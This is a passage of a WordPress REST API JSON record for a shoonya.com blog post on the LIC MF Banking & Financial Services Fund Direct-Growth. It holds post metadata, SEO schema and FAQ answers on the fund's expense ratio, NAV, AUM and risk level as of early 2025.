class=\"screen-reader-text\"> &#8220;LIC MF Banking &amp; Financial Services Fund Direct-Growth: Key Insights, Returns, Risks&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":12163,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[7308,7310,7309,7312,7313,7311],"class_list":["post-12162","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-lic-mf-banking-financial-services-fund-direct-growth","tag-lic-mf-banking-financial-services-fund-direct","tag-lic-mf-banking-financial-services-fund-direct-growth-2","tag-lic-mf-banking-financial-services-fund-direct-growth-nav","tag-lic-mf-banking-financial-services-fund-portfolio","tag-nav-of-lic-mf-banking-financial-services-fund"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>LIC MF Banking &amp; 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What is the expense ratio of the LIC MF Banking &amp; Financial Services Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The expense ratio of the LIC MF Banking &amp; Financial Services Fund - Direct Plan is 1.05% as of 31 March 2025.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744721955797","position":3,"url":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744721955797","name":"3. What is the current NAV of the LIC MF Banking &amp; Financial Services Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The current NAV (Net Asset Value) of the LIC MF Banking &amp; Financial Services Fund - Direct Plan as of<strong> <\/strong>11 April 2025 stood at \u20b921.0089.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744721985645","position":4,"url":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744721985645","name":"4. What is the AUM of the LIC MF Banking &amp; Financial Services Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The total assets under management (AUM) of LIC MF Banking &amp; Financial Services Fund - Direct Plan is \u20b9254 crore as of 31 March 2025.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744722005760","position":5,"url":"https:\/\/shoonya.com\/blog\/lic-mf-banking-financial-services-fund-direct-growth\/#faq-question-1744722005760","name":"5. What is the Riskometer level of the LIC MF Banking &amp; Financial Services Fund - Direct Plan?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Riskometer level of the LIC MF Banking &amp; Financial Services Fund - Direct Plan is marked as \"Very High Risk\".","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12162","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=12162"}],"version-history":[{"count":2,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12162\/revisions"}],"predecessor-version":[{"id":12623,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12162\/revisions\/12623"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/12163"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=12162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=12162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=12162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}